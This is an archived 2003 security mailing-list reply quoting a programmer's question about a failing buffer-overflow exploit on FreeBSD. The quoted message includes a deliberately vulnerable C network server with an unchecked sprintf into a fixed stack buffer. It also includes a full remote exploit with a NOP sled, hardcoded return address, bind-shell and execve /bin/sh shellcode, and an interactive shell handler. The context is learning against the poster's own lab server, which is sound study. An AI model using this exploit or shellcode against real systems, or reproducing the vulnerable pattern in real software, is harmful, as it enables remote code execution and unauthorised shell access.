Re: sample buffer overflow exploit problem

From: deepcode . (pondermate_at_hotmail.com)
Date: 09/28/03

  • Next message: Ganbold: "Re: sample buffer overflow exploit problem"
    To: ganbold@micom.mng.net, vuln-dev@securityfocus.com
    Date: Sat, 27 Sep 2003 23:37:35 -0300
    
    

    You say that you can connect after the exploit, but then the connection gets
    dropped immediately afterwards... is there a firewall in place?

    >From: Ganbold <ganbold@micom.mng.net>
    >To: vuln-dev@securityfocus.com
    >Subject: sample buffer overflow exploit problem
    >Date: Sat, 27 Sep 2003 16:54:59 +0900
    >
    >Hi,
    >
    >I'm very new to buffer overflow exploit technics and my boss wants me to
    >thoroughly understand
    >how it works. I'm trying to exploit sample network server in FreeBSD 5.1
    >for this purpose.
    >When I try to exploit using execve /bin/sh (shellcode1), it works and
    >launches the shell in the remote machine.
    >However when I try to use port binding shell code, it binds shell to the
    >port, but when I try to connect to
    >it, it just closes the connection. Also I can't connect to bind port after
    >sending buffer using following code snippets:
    >..............
    > printf("[-] Connecting to bindshell...\n");
    > remote.sin_family = AF_INET;
    > remote.sin_addr = *((struct in_addr *)host->h_addr);
    > remote.sin_port = htons(12345);
    > if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
    > {
    > close(s);
    > fprintf(stderr, "Error: connect\n");
    > return -1;
    > }
    > exec_sh(s);
    >...............
    >
    >I appreciate if somebody give me some help to solve this test problem.
    >Is there anywhere I can find detailed explanation about buffer overflows
    >and working sample network exploits?
    >Is there anyway I can generate shellcodes in FreeBSD?
    >
    >I attached my sample server code and exploit code.
    >
    >thanks in advance,
    >
    >Ganbold Ts,
    >
    >senior programmer,
    >Micom Co., Ltd
    >Ulaanbaatar,
    >Mongolia
    >
    >
    >
    >Following is network server code:
    >--------------------------------------------------------------------------------------------------------------------------------
    >#include <stdio.h>
    >#include <netinet/in.h>
    >#include <netdb.h>
    >#include <sys/socket.h>
    >#include <sys/types.h>
    >#include <errno.h>
    >
    >#define BUFFER_SIZE 1024
    >#define NAME_SIZE 2048
    >
    >int handle(int c)
    >{
    > char buffer[BUFFER_SIZE], name[NAME_SIZE];
    > int bytes;
    > strcpy(buffer, "Your name?: ");
    > bytes = send(c, buffer, strlen(buffer), 0);
    > if (bytes == -1)
    > return -1;
    > bytes = recv(c, name, sizeof(name), 0);
    > if (bytes == -1)
    > return -1;
    > name[bytes - 1] = '\0';
    > sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
    > bytes = send(c, buffer, strlen(buffer), 0);
    > if (bytes == -1)
    > return -1;
    > return 0;
    >}
    >
    >
    >int main(int argc, char *argv[])
    >{
    > int s, c, cli_size;
    > struct sockaddr_in srv, cli;
    > if (argc != 2)
    > {
    > fprintf(stderr, "usage: %s port\n", argv[0]);
    > return 1;
    > }
    > s = socket(AF_INET, SOCK_STREAM, 0);
    > if (s == -1)
    > {
    > perror("socket() failed");
    > return 2;
    > }
    > srv.sin_addr.s_addr = INADDR_ANY;
    > srv.sin_port = htons( (unsigned short int) atol(argv[1]));
    > srv.sin_family = AF_INET;
    > if (bind(s, &srv, sizeof(srv)) == -1)
    > {
    > perror("bind() failed");
    > return 3;
    > }
    > if (listen(s, 3) == -1)
    > {
    > perror("listen() failed");
    > return 4;
    > }
    > for(;;)
    > {
    > c = accept(s, &cli, &cli_size);
    > if (c == -1)
    > {
    > perror("accept() failed");
    > return 5;
    > }
    > fprintf(stderr,"client from %s\n", inet_ntoa(cli.sin_addr));
    > if (handle(c) == -1)
    > fprintf(stderr, "%s: handle() failed", argv[0]);
    > close(c);
    > }
    > return 0;
    >}
    >--------------------------------------------------------------------------------------------------------------------------------
    >
    >Following is the sample exploit code:
    >--------------------------------------------------------------------------------------------------------------------------------
    >#include <stdio.h>
    >#include <netinet/in.h>
    >#include <netdb.h>
    >#include <sys/socket.h>
    >#include <sys/types.h>
    >#include <errno.h>
    >#include <unistd.h>
    >
    >/*
    > * FreeBSD shellcode - binds /bin/sh to a port 12345
    > *
    > * Claes M. Nyberg 20020619
    > *
    > * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
    > */
    >char shellcode[] = /* port _______*/
    > "\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\x39"
    > "\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\xcd"
    > "\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\x83"
    > "\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\x53"
    > "\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\x50"
    > "\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    > "\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
    > "\x40\x50\x50\xcd\x80";
    >
    >/*
    > * FreeBSD shellcode - execve /bin/sh
    > *
    > * Claes M. Nyberg 20020120
    > *
    > * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
    > */
    >char shellcode1[] =
    > "\x31\xc0" /* xorl %eax, %eax */
    > "\x50" /* pushl %eax */
    > "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    > "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    > "\x89\xe3" /* movl %esp, %ebx */
    > "\x50" /* pushl %eax */
    > "\x53" /* pushl %ebx */
    > "\x89\xe2" /* movl %esp, %edx */
    > "\x50" /* pushl %eax */
    > "\x52" /* pushl %edx */
    > "\x53" /* pushl %ebx */
    > "\x50" /* pushl %eax */
    > "\xb0\x3b" /* movb $0x3b, %al */
    > "\xcd\x80" /* int $0x80 */
    > "\x31\xc0" /* xorl %eax, %eax */
    > "\x40" /* inc %eax */
    > "\x50" /* pushl %eax */
    > "\x50" /* pushl %eax */
    > "\xcd\x80"; /* int $0x80 */
    >
    >#define RET 0xbfbffa48
    >
    >int exec_sh(int sockfd)
    >{
    > char snd[4096],rcv[4096];
    > fd_set rset;
    > while(1)
    > {
    > FD_ZERO(&rset);
    > FD_SET(fileno(stdin),&rset);
    > FD_SET(sockfd,&rset);
    > select(255,&rset,NULL,NULL,NULL);
    > if(FD_ISSET(fileno(stdin),&rset))
    > {
    > memset(snd,0,sizeof(snd));
    > fgets(snd,sizeof(snd),stdin);
    > write(sockfd,snd,strlen(snd));
    > }
    > if(FD_ISSET(sockfd,&rset))
    > {
    > memset(rcv,0,sizeof(rcv));
    > if(read(sockfd,rcv,sizeof(rcv))<=0)
    > exit(0);
    > fputs(rcv,stdout);
    > }
    > }
    >}
    >
    >int main(int argc, char *argv[]) {
    >
    > char buffer[1064];
    > int s,t, i, size;
    > struct sockaddr_in remote;
    > struct hostent *host;
    >
    > if(argc != 3) {
    > printf("Usage: %s target-ip port\n", argv[0]);
    > return -1;
    > }
    >
    > // filling buffer with NOPs
    > memset(buffer, 0x90, 1064);
    >
    > //copying shellcode into buffer
    > memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
    >
    > // the previous statement causes a unintential Nullbyte at buffer[1000]
    > buffer[1000] = 0x90;
    >
    > // Copying the return address multiple times at the end of the buffer...
    > for(i=1022; i < 1059; i+=4) {
    > * ((int *) &buffer[i]) = RET;
    > }
    >
    > buffer[1063] = 0x0;
    >
    > //getting hostname
    >
    > host=gethostbyname(argv[1]);
    > if (host==NULL)
    > {
    > fprintf(stderr, "Unknown Host %s\n",argv[1]);
    > return -1;
    > }
    >
    > // creating socket...
    > s = socket(AF_INET, SOCK_STREAM, 0);
    > if (s < 0)
    > {
    > fprintf(stderr, "Error: Socket\n");
    > return -1;
    > }
    > remote.sin_family = AF_INET;
    > remote.sin_addr = *((struct in_addr *)host->h_addr);
    > remote.sin_port = htons(atoi(argv[2]));
    > // connecting with destination host
    > if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
    > {
    > close(s);
    > fprintf(stderr, "Error: connect\n");
    > return -1;
    > }
    > //sending exploit string
    > size = send(s, buffer, sizeof(buffer), 0);
    > if (size==-1)
    > {
    > close(s);
    > fprintf(stderr, "sending data failed\n");
    > return -1;
    > }
    >/*
    > printf("[-] Connecting to bindshell...\n");
    > remote.sin_family = AF_INET;
    > remote.sin_addr = *((struct in_addr *)host->h_addr);
    > remote.sin_port = htons(12345);
    > if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
    > {
    > close(s);
    > fprintf(stderr, "Error: connect\n");
    > return -1;
    > }
    > exec_sh(s);
    >*/
    > // closing socket
    > close(s);
    >}
    >
    >--------------------------------------------------------------------------------------------------------------------------------
    >
    >
    >

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  • Next message: Ganbold: "Re: sample buffer overflow exploit problem"

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